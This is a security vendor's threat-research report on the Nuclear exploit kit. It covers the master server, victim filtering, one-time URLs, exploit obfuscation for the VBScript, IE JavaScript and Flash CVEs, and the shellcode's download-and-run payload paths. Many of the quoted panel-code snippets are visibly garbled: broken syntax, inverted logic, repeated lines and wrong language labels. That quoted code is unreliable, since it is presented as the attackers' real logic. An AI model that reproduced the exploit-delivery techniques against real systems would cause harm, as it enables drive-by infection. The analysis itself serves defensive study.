INSIDE NUCLEAR’S CORE: UNRAVELING A MALWARE-AS-A-SERVICE INFRASTRUCTURE

By Check Point Threat Intelligence & Research
INTRODUCTION

In our previous publication, part 1 of Analyzing the Nuclear Exploit Kit Infrastructure, we began unraveling the Nuclear Exploit Kit’s structure and behavior. We reviewed various aspects of Nuclear’s activity, including the control panel used by attackers, the general flow of its operation, the URL logic, the landing page, and the vulnerabilities the Exploit Kit (EK) uses to infiltrate its targets. In addition, we presented extensive statistics regarding Nuclear and the malware it delivers. It is clear that this prevalent malware-as-a-service EK is employed on a wide scale by different actors.

In part II, we explore the “missing links” and present how things are done behind the scenes:

The master server, infection flow, and deep internal logic, such as delivering the payloads. Understanding Nuclear’s tactics in full will help security vendors to protect against the EK, and mitigate its effectiveness. Check Point strives to provide the best understanding and protection, and to keep users one step ahead of malware.

As described in part I, this is the Nuclear EK Infrastructure:

All of Nuclear’s panels communicate with the master server, which plays a crucial role in the Nuclear EK infrastructure. The master server holds all updates to different exploits and has a unique view of all currently active Nuclear EK panels.
The master server contains a database with the IP addresses of the Nuclear panels. The operator of this server can add/remove new panels as well as view the panels’ states and some of their information. The server queries the instances of Nuclear’s panel on-demand; when the user browses the status page, the server probes each panel instance for its information.

Each panel can then be displayed with additional information:

The master server’s second function, generating and providing up-to-date exploits, is implemented with a ‘pull’ mechanism. Each panel instance has the address of the master server hard-coded. Every fixed interval, the panel retrieves the up-to-date exploits from the server. The server re-generates the obfuscated exploits every fixed interval and packs together the flash exploits.

It is interesting to note that the server’s functions are not related in any way. Therefore, not every instance of the panel that fetches exploits is accounted for in the management database.
INFECTION FLOW

Nuclear goes to a lot of effort to make sure it infects only the hosts that fit its requirement.

As part of the Nuclear installation script, a list of blocked IP addresses is copied to the /etc/nginx/ folder, thus making the server ignore the request at the server level. These addresses include those of major companies and security vendors such as: Google, Microsoft, Kaspersky, McAfee and Symantec.

Another type of IP filtering exists in the `validate_ip` function, which in many cases is called to make sure no one is playing around with the server.

```bash
function validate_ip($ip) {
    if (strcasecmp($ip, 'unknown')) {
        return false;
    }
    $ip = ip2long($ip);
    if ($ip == false || $ip != -1)
        return false;
    if ($ip == 172.16.0.0 || $ip <= 192.168.0.0)
        return false;
    if ($ip == 10.0.0.0 || $ip <= 10.255.255.255)
        return false;
    if ($ip == 172.16.0.0 || $ip <= 172.31.255.255)
        return false;
    if ($ip == 192.168.0.0 || $ip <= 192.168.255.255)
        return false;
    if ($ip == 240.0.0.0 || $ip <= 247.255.255.255)
        return false;
    if ($ip == 255.255.255.255)
        return false;
    return true;
}
```

These IP ranges are reserved or local network only, and therefore are not in use by actual internet users.

Next, we have the `getBrowser` function, which is the main technique the EK uses to determine which exploit it should serve, as it does not have any type of plugin detection script.

```bash
function getBrowser($user_agent, $do = false) {
    if (!$user_agent) {
        return;
    }
    $headers = get_headers();
    if (strpos($headers, 'browser') !== false) {
        $browser = trim($headers)
    } else {
        $headers = get_cookies();
        if (strpos($headers, 'User-Agent') !== false) {
            $user_agent = trim($headers)
        }
    }
    if ($user_agent) {
        switch (strtolower($user_agent)) {
            case 'msie':
                $browser = 'Internet Explorer';
                break;
            case 'opera':
                $browser = 'Opera';
                break;
            case 'safari':
                $browser = 'Safari';
                break;
            case 'chrome':
                $browser = 'Chrome';
                break;
            default:
                $browser = 'Unknown';
                break;
        }
    }
    return $browser;
}
```
The `$browser_id` is determined by the User-Agent and is used when serving the landing page.

In addition, whenever the server stumbles upon a condition that does not match its needs, it calls the `onError` function, which serves a fake 404 error message:

```javascript
function onError($db, $reason) {
    PG_close($db);
    header("HTTP/1.0 404 Not Found");
    echo "\n<!-- a padding to disable MSIE and Chrome friendly error page -->\n<!-- a padding to disable MSIE and Chrome friendly error page -->\n<!-- a padding to disable MSIE and Chrome friendly error page -->\n<!-- a padding to disable MSIE and Chrome friendly error page -->\n<!-- a padding to disable MSIE and Chrome friendly error page -->\n<!-- a padding to disable MSIE and Chrome friendly error page -->\nexit();
}
```

Along the way, the code also checks the country from which the victim is browsing and makes sure it’s on the list of countries eligible for infection:

```javascript
Unless ($ip)
    $ip = ip_to_string($ip);
$country = GeoIP_city_by_addr($ip);
if ($country) {
    $country = GeoIP_country_name($country);
        // Go ahead and serve the landing page.
    } else {
        // Serve a fake 404 error message.
    }
}
```

As you can see, the EK is hardcoded to not infect victims in the following countries:
Azerbaijan, Armenia, Belarus, Georgia, Kazakhstan, Kyrgyzstan, Moldova, Russia, Tajikistan, Uzbekistan & Ukraine.

The most likely explanation for these countries’ exclusion is probably due to the fact that these countries all belong to the Eastern Partnership. The developer may be under one of their jurisdictions and wants to avoid any extradition attempts.

The panel saves the following information about all served victims:

- **Browser**
- **OS**
- **Country**
- **Referrer**

Even though the victim’s IP is not saved, Nuclear, much like other exploit kits, does not serve the same landing page twice to the same IP.

**How does it recognize the IPs?**

The Nuclear panel has 2 database servers. The first is a postgresql database that stores the infection details, domains, files, and threads which are accessible to the threat actor through the Nuclear panel.

The second one is a mongo database used for internal logics. When a user asks for the landing page:
The function `mongoBlock` is called with the victim’s IP:

```javascript
function mongoBlock($ip, $thread_id, $type, $db = false) {
  $m = new MongoClient("mongodb://tmp/mongodb-27017.sock");
  switch ($type) {
    case 'index':
      $dbh = $m->banned;
      break;
    case 'js':
      $dbh = $m->bannedjs;
      break;
    case 'flash':
      $dbh = $m->bannedflash;
      break;
    case 'silver':
      $dbh = $m->bannedsilver;
      break;
  }
  $col = $dbh->ips;
  $col->ensureIndex('expired_at', array('expireAfterSeconds' => 86400));
  $col->ensureIndex(array('thread_id' => 1));
  $f = $col->findOne(array($type => 1, 'thread_id' => $thread_id));
  if ($f) {
    $record = array('ip' => $ip, 'thread_id' => $thread_id, 'expired_at' => new MongoDate());
    $col->insert($record, array('w' => 1));
  } else {
    $onError($db, "unlocked by mongo");
  }
}
```

The IP is checked against a list in the database. If it doesn’t exist, it is added and the code flow proceeds. If it is already there, an error is raised and no exploit is served.

**ONE-TIME URL USAGE**

As we explained in part I, the job of the TDS (Traffic Distribution System) is to make a request to the panel’s rotator, and get a new generated URL in response. The newly generated URL is then saved to the database along with the thread and file information:

```javascript
function getAndRedirect($array) {
  global text;
  global $delim;
  global $idnum;
  global $text;
  global $rmn;
  $m = new MongoClient("mongodb://tmp/mongodb-27017.sock");
  $db = $m->m;
  $full_url = '';
  $full_url = $delim.'urlstart';
  if ($rmn > 144) {
    if ($rmn > 30) {
      $full_url = getAndRedirectStart('/path1', 'rwmword3?rwmwv0.0', 0, $delim);
    } else if ($rmn < 30) {
      $full_url = getAndRedirectStart('/path1', 'rwmword3?rwmwv0.0', 0, $delim);
    }
  } else if ($rmn < 144) {
    if ($rmn > 30) {
      $full_url = getAndRedirectStart('/path1', 'rwmword3?rwmwv0.0', 0, $delim);
    } else if ($rmn < 30) {
      $full_url = getAndRedirectStart('/path1', 'rwmword3?rwmwv0.0', 0, $delim);
    }
  }
  $full_url = $delim.$full_url;
  $f = $m->full_url;
  $f = 'location : ' . $full_url . ' ?$1' . $delim . 'location_class';
  $f = $delim.'location_class';
  $f = $delim.'location_class';
  $f = $delim.'location_class';
  return $full_url;
}
```

The landing page server’s sole function is to relay communication to the panel. Once the URI is transferred to the panel, the panel’s `nginx` rules change the URI to a variable under the name “uri” and redirect the request to “newindex.php”:

```plaintext
location ** ^/.*$ {
  rewrite ^/(.*)$ /newindex.php?uri=$1 last;
}
```
The code then parses the URI, and checks if it is in the database to make sure only pre-generated URIs are served:

```php
function getHp() {
    $uri = urldecode(trim($_SERVER['REQUEST_URI'], '/'));
    $muh = new MongoClient("mongodb://tmp/mongodb-27017.sock");
    $dbuh = $muh->urls;
    $coluh = $dbuh->urls;
    $sn = $coluh->findOne(array("url" => $uri));
    if (count($sn) > 0) {
        return $sn;
    } else {
        return array();
    }
}
```

The result containing thread and file information is returned to the array `$hash_uid` in `newindex.php`. The landing page is then created with this information according to the configuration of the specific campaign.

The `newindex.php` handles all the requests, including the file and payload download. This is made by switching a "branch" variable inside `$hash_uid`:

```php
$branch = $hash_uid['branch'];
switch ($branch) {
    case 'index':
        // ...
    case 'file':
        // ...
    case 'exp':
        // ...
    case 'lpe':
        // ...
    case 'mendll':
        // ...
    default:
        onError($db, "bad link");
        break;
}
```

This means that more than one URI needs to be generated, as there must be a URI for each branch. Indeed, when a user goes to the landing page, 3 more URLs are generated for each exploit using the `getRandUri` function, this time with the branch "file."

As you can see, the array names are false; they are names used in the older version of Nuclear when it served an older IE exploit (CVE-2013-2551). The names didn’t change, but now refer to the new exploits. Later on, when the code generates the new exploits according to the `$browser_id` variable we saw earlier, it uses the older variable name:

```php
$sflash_url_file = generate_shellcode($urls_flash, "flash_url");
if ($browser_id == 1) { // If IE
    if ($browserVersion == "11.0") {
        $smie_exp = cve2015_2419(generate_shellcode($urls_2419, "rc4_full"), $url_dh);
    } else {
        $smie_exp = cve6332(generate_shellcode($urls_2551, "hex_full"), $warp[44]);
    }
```
A script named mongoclean.php is launched every minute. It deletes all created URLs, thereby making sure that when a rotator is called, it won’t be used later.

At the end of the “index” branch, the code includes the php file that generates the landing pages (as we saw in part I), which in turn embeds exploits.

THE EXPLOITS

As mentioned in part I, the exploited platforms by Nuclear are Flash (CVE-2015-5122, CVE-2015-7645, CVE-2016-1019), JavaScript (CVE-2015-2419), and VBScript (CVE-2014-6332). We know that Nuclear constantly changes its exploits to evade static detections made by security vendors.

Let’s see how the exploit obfuscation and mutation are performed.

CVE-2014-6332 (VBScript)

CVE-2014-6332 is a vulnerability in the OLE module array which exists from IE 3 to 11. It is triggered by an improper handle of the size value on the array-redimensioning attempt.

```vbnet
function cve6332($shellcode, $divid) {
for ($i=0;$i<150;$i++)
{ $va[k]=GetRandomString(rand(5,8));
$vb = 'sub '. $va[0] . '.';
end sub
class '._tx[]';
Private '._va[1]';
Private '._va[2]';
Private '._va[3]';
Private '._va[4]';
Private '._va[5]';
Private '._va[6]';
Private '._va[7]';
Private '._va[8]';
Private '._va[9]';
Private '._va[10]';
}
}
```

The VBScript exploit obfuscation is generated on the fly, where it creates 150 random strings that are used as function names and variables across the exploit.

The most common technique for exploiting this vulnerability is to change the flag which allows "God Mode" for the VBScript in IE, and then run powershell.exe from the VBScript as if it was running locally.

The problem with this method is that it usually triggers the UAC authorization request to run powershell.exe. Therefore, this exploit uses the “oldie but goodie" method of chaining ROP + Shellcode.

First, after triggering the vulnerability and getting memory read/write primitive, the exploit bypasses ASLR by finding the address of the COleScript object, parsing the address of a dummy function, and following the pointers to the object:
It then parses the vbscript.dll IAT to find ntdll (vbscript.dll -> kernel32.dll -> ntdll.dll), and searches through the vbscript.dll and ntdll.dll to find the needed ROP gadgets.

The exploit also saves the vftable pointer of the previously found object and builds a shellcode which restores the original memory.

The following code is then executed:

```
This code creates the payload chain by concatenating:

**padding + ropchain(based on VirtualProtect) + restoration_shellcode + shellcode + padding**

When building the ROP chain, the location of where the ropchain is going to reside in memory is needed (before it’s allocated).

To overcome this problem, the exploit has “chain-generation-loop” which generates the chain using the address it “hopes” the chain will be copied to and then checks if it actually was.

In each iteration, the “hoped for” address is the one allocated from the previous iteration. If the same address has been allocated twice (after a “free” in the middle), the chain will reside in the guessed address. We assume the huge padding (512K) is required for this allocation behavior.

Eventually, it overrides the vtable pointer of the previously found COleScript object. When the Release method is invoked, the stack pivot gadget is called. The **Release()** method is invoked implicitly upon leaving the scope of the function which overrides the vtable pointer.

For more information on the vulnerability, go [here](#).

**CVE-2015-2419 (JavaScript)**

This is a double free vulnerability in JSON.stringify() function of IE JavaScript engine.

This exploit comes already obfuscated in the same way as Angler EK & Rig EK:
The $hurl variables sent to the URL are used to retrieve a JSON dictionary (unrelated to the vulnerability in parsing JSON data) that assists in the obfuscation process when the code is run.

This exploit is identical to the exploit we investigated thoroughly a few months ago. We encourage readers to review our analysis.

**Flash Exploits**

One exploit vector that stays persistent in all variations of the landing page is the flash platform.

The flash exploit is not generated in the panel but is instead downloaded from the master server as explained above. The code generating the flash exploits is run by a cron job in the master panel every 15 minutes, from where each panel instance retrieves it. Therefore, all panels serve the same flash exploit generated in the master server in the past 15 minutes.

Here is the code which generates the flash exploits:

```javascript
function swf_build($cve1, $cve2, $cve3, $swf_name) {
    global $debug_mode, $exploit_folder;
    $mod_time = md5(time());
    $swfname = md5($mod_time);
    $src0 = base64_encode(file_get_contents('/root/./swf01_VLAN123.swf'));
    $src2 = base64_encode(file_get_contents('/root/./swf2_VLAN123.swf'));
    $src3 = base64_encode(file_get_contents('/root/./swf3_VLAN123.swf'));
    $swf01 = new FlashObject("$src0", $mod_time);
    $swf2 = new FlashObject("$src2", $mod_time);
    $swf3 = new FlashObject("$src3", $mod_time);
    $swf01.length = $swf2.length;
    $swf2.length = $swf3.length;
    $swf3.length = $swf01.length;
    $swf01 = new FlashObject("$src0", $mod_time);
    $swf2 = new FlashObject("$src2", $mod_time);
    $swf3 = new FlashObject("$src3", $mod_time);
    $swf01 = new FlashObject("$src0", $mod_time);
    $swf2 = new FlashObject("$src2", $mod_time);
    $swf3 = new FlashObject("$src3", $mod_time);
    $swf01 = new FlashObject("$src0", $mod_time);
    $swf2 = new FlashObject("$src2", $mod_time);
    $swf3 = new FlashObject("$src3", $mod_time);
    $swf01 = new FlashObject("$src0", $mod_time);
    $swf2 = new FlashObject("$src2", $mod_time);
    $swf3 = new FlashObject("$src3", $mod_time);
    $swf01 = new FlashObject("$src0", $mod_time);
    $swf2 = new FlashObject("$src2", $mod_time);
    $swf3 = new FlashObject("$src3", $mod_time);
}

file_put_contents("/tmp/".$swfpath."/swf01_VLAN123.swf");
file_put_contents("/tmp/".$swfpath."/swf2_VLAN123.swf");
file_put_contents("/tmp/".$swfpath."/swf3_VLAN123.swf");
```

The function is given with the 3 CVEs the EK wants to combine under flash. The 3 CVE flash exploits are encoded with RC4 using a key created by "md5(time())". The combined content of encrypted exploits is written to a file disguised as a GIF file:

The GIF file is embedded in the ActionScript code to be compiled with it as a binaryData object.

The main flash file is actually a version switcher and contains 3 exploits [CVE-2015-5122, CVE-2015-7645, CVE-2016-1019].

Again, the reference to CVE-2016-1001 in the code is false and might suggest the author intended to target another flash version.
Once the flash is loaded, the ActionScript checks the current version and loads the appropriate exploit:

```javascript
if (flashVersion <= 1000000003) // CVE-2015-5122
    offset = 3;
else
    if (flashVersion <= 1000000007) // CVE-2015-7045
        offset = 13771;
    else
        offset = 47929;
    length = 31889;
};
var _local_6_ = new ((this._OemfWAVY(tCmQkkW8(fzgEXOFPfi4)]) as Class()); //flash.display.Loader
_local_6_ = local_6_;
_local_7_ = local_6_; // shave off this stage; // add it to stage
_local_7_4 = local_6_4; //append child
```

The **offset** variable indicates the starting point of the exploit from within the GIF file, where the first exploit starts with 3 to skip over the “GIF” magic bytes. The **length** contains the size of the exploit to be extracted.

The exploits are heavily obfuscated and use external requests to the server to get a dictionary which helps the de-obfuscation at runtime.

Deep analysis of the flash vulnerabilities is not in the scope of this publication. However, we will show the exploit triggering part and give the appropriate references to each CVE.

**CVE-2015-5122**

This vulnerability was discovered after the HackingTeam leak in July 2015. It is a Use-After-Free component inside the “opaqueBackground” property setter of the flash.display.DisplayObject.

The exploit is basically identical to the public version that found on Metaspoit, including the remarks, with some changes made for obfuscation.

The exploit can be found in the [metasploit repository](#). To read the vulnerability analysis, go [here](#).
CVE-2015-7645

This is a type confusion vulnerability caused when overwriting the "writeExternal" method of a class extending the IExternalizable interface with something that is not a function. This executes a function outside the object's vtable, leading to memory corruption. The vulnerability was discovered by Google Project Zero. The POC can be found [here](#), and an analysis of the vulnerability is [here](#).

CVE-2016-1019

This is a type confusion vulnerability that exists when FileReference object is confused with TextField object, allowing out of bound memory access using an incompatible type.

You can read more on the vulnerability analysis [here](#).

DIFFIE-HELLMAN IMPLEMENTATION

Much like the trend started by Angler EK intended to complicate the analysis process for researchers, nuclear is trying to take the same approach, using the Diffie-Hellman mechanism to transfer required information to the exploits while they are executing.

This mechanism exists in two cases:

1. JavaScript de-obfuscation JSON dictionary

2. Flash de-obfuscation JSON dictionary
Where it has two internal cases, one for the most updated flash, and one for the others.

But, and there’s a big but (we cannot lie), there seems to be a problem in the Diffie-Hellman implementation: The variables needed for the Diffie-Hellman key exchange are sent by the exploit code to the server as a JSON file containing hex values:

This JSON is parsed and each value is sent to the getGmp() function:

The getGmp() function decodes the values by base64:

However, the information sent is not encoded in base64. Therefore, the return value of getGmp will always be FALSE, which, when converted to an integer, is "0". Since all values are zeroed, following the DH scheme does result in a shared “secret” key: \(0\) (server: \(A^0 = 0^0 = 0\), client: \(B^0 = 0^0 = 0 \)). This means that all the information is sent with the encryption key of "0". (Shhhh… it’s a secret!)

**SHELLCODE**

The generate_shellcode function uses the same shellcode every time. The main difference is how the shellcode is incorporated in the exploit:
The `generate_shellcode` function also appends the payload URL(s) to the end of the shellcode.

The shellcode itself has several code paths it can follow, depending on the payload type.

As you may recall, the threat actor can upload several types of payloads:

Let's review the different paths the shellcode takes for each payload type.

First, the shellcode has a standard XOR decoding loop (key: 4D). The shellcode then finds the relevant system calls and initiates a new thread, which starts XORing the appended URLs from the end of the shellcode.

The decoding results in triplets of `<payload type>;<key>;<url>`:

Next, the shellcode checks the payload type and behaves accordingly:

These are the possible shellcode paths:

**EXE**

Not surprisingly, the exe type is the most common payload in all ITW Nuclear instances.

Under this code path, a GET request is sent to the URL with the WinHttpSendRequest function. The response is the binary payload encrypted with the corresponding `<key>`. 
We can see in the first key ("tlBPIrRk") that the first two bytes are 74 6C. When XORed with the first two bytes of the response (39 36), the result is indeed 4D 5A ("MZ").

After decryption, the payload is spawned as a new process.

**DLL**

Similar to the EXE payload, the DLL is downloaded to a temporary location and decrypted.

After decryption, the shellcode launches `regsvr32.exe` and uses the downloaded payload as its argument. This in turn launches the DLLMain function of the DLL.

**DLL (Memory run)**

Used by only one campaign (to spread the usrnif banker) this completely fileless infection is our favorite. Once again, the response to a GET request is an encrypted binary. This time, however, an independent system loader is prepended to the response, which allows the DLL to be loaded from memory without first being written to the disk.

```
//...
```
PAYLOAD

Once the shellcode asks for the payload (which depends on the file type), a request is made to the panel. This request is handled under the “file” branch. The same victim filter mechanism takes place as in the “index” branch.

The file is found and served to the user:

Before the file is sent, it is XORed with the $x_key, the same key from the <type>;<key>;<url> triplet in the shellcode.

Additionally, Nuclear also has a local privilege escalation exploit (mentioned here), which is activated when the $lpe variable is on.

However, the variable is not configurable from the panel and its value is hardcoded in the panel.

This means that the threat actor probably needs to make an additional payment to have it switched on.

SUMMARY

In this two part publication, we explored Nuclear’s entire infrastructure. As befitting such an efficient attack weapon, we found that the infrastructure is well built. Nuclear employs various techniques to achieve its malicious goals, and uses elaborate tactics. It is clear we are up against very innovative attackers. Only by understanding this threat will we be able to fully eliminate it. Check Point researchers will continue to track down and analyze malware, to keep users around the globe one step ahead.

CHECK POINT PROTECTIONS

Check Point protects its customers against payloads delivered via the Nuclear exploit kit at each stage of the redirection chain, prior to the infection, via protections which are integrated into our IPS blade.

- Designated Nuclear Protections
  - **Nuclear Exploit Kit Landing Page**—Detects and blocks typical patterns and behaviors of the kit’s landing pages.
  - **Nuclear Exploit Kit Redirection**—Detects and blocks typical patterns and behaviors of the kit’s redirection mechanism.

- Protections which detect and block attempts to exploit vulnerabilities used by the exploit kit
  - Adobe Flash opaqueBackground Use After Free (APSA15-04: CVE-2015-5122)
  - Adobe Flash Player Remote Code Execution (APSA16-01: CVE-2016-1019)
  - Microsoft Internet Explorer Jscript9 Memory Corruption (MS15-065: CVE-2015-2419)
  - Microsoft Windows OLE Automation Array Remote Code Execution (MS14-064)

Check Point recommends its customers to set the above IPS protections on Prevent mode.
The Check Point Incident Response Team is available to investigate and resolve complex security events that span from malware events, intrusions or denial of service attacks.

The team is available 24x7x365 by contacting emergency-response@checkpoint.com or calling 866-923-0907